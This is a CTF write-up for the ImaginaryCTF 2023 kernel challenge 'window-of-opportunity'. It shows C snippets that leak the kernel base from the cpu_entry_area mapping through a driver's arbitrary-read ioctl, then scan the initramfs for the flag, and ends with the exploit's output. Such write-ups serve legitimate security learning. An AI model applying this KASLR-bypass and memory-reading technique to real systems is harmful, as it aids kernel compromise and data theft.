window-of-opportunity is a kernel exploitation challenge I did for the ImaginaryCTF 2023. We are given an arbitrary read primitive (and a stack buffer overflow but I didn’t use it), and the goal is basically to read the /flag.txt file. All the related files can be found there.
TLDR:
Leaking with the help of the arbitrary read primitive the kernel base address by reading a pointer toward the .text stored within the fix-mapped cpu_entry_area mapping.
Using the read primitive to read the whole kernel memory to get the flag given the initramfs is mapped in clear right after the kernel at a fixed offset.
PROFIT
Code review
We are given a classic initramfs setup for this kernel challenge, which means we already know the whole initramfs will be mapped in memory right after the kernel at a fixed offset.
Let’s take at the ioctl provided by the kernel driver we have to pwn:
What matters for us is mainly the KASLR that is on. Then, the first step will be to defeat it.
Defeat kASLR
To defeat kASLR we could use the trick already use a while ago by the hxp team in one of their kernel shellcoding challenge. The idea would be to read through the cpu_entry_area fix-mapped area, that is not rebased by the kASLR, a pointer toward the kernel .text. Then giving us a powerful infoleak thats allows us to find for example the address of the initramfs. I just had to search a few minutes the right pointer in gdb and that’s it, at 0xfffffe0000002f50 is stored a pointer toward KERNEL_BASE + 0x1000b59! Which gives:
1 2 3 4 5 6 7
req.kptr = 0xfffffe0000002f50; if (ioctl(fd, 0x1337, &req)) { return-1; }
kernel_text = ((uint64_t* )req.buf)[0] - 0x1000b59; printf("[!] kernel .text found at %lx\n", kernel_text);
initramfs for the win
The initramfs is mapped right after the kernel, from kbase + 0x2c3b000, which means given we leaked the .text, we can deduce by it the address of the initramfs and then we can simply look for the icft pattern while reading the whole initramfs. Which gives:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
printf("[!] initramfs at %lx\n", kernel_text + 0x2c3b000);
while (1) { req.kptr = kernel_text + 0x2c00000 + offt; if (ioctl(fd, 0x1337, &req)) { return-1; }
for (size_t i = 0; i < 0x100; i += 4) { if (!memcmp(req.buf+i, "ictf", 4)) { printf("flag: %s\n", (char* )(req.buf+i)); } }
offt += 0x100; }
PROFIT
Finally here we are:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
mount: mounting host0 on /tmp/mount failed: No such device cp: can't stat '/dev/sda': No such file or directory
Boot time: 2.78
--------------------------------------------------------------- _ | | __ _____| | ___ ___ _ __ ___ ___ \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ \ V V / __/ | (_| (_) | | | | | | __/_ \_/\_/ \___|_|\___\___/|_| |_| |_|\___(_) Take the opportunity. Look through the window. Get the flag. --------------------------------------------------------------- / # ./exploit [!] kernel .text found at ffffffff8de00000 [!] initramfs at ffffffff90a3b000 flag: ictf{th3_real_flag_was_the_f4ke_st4ck_canaries_we_met_al0ng_the_way}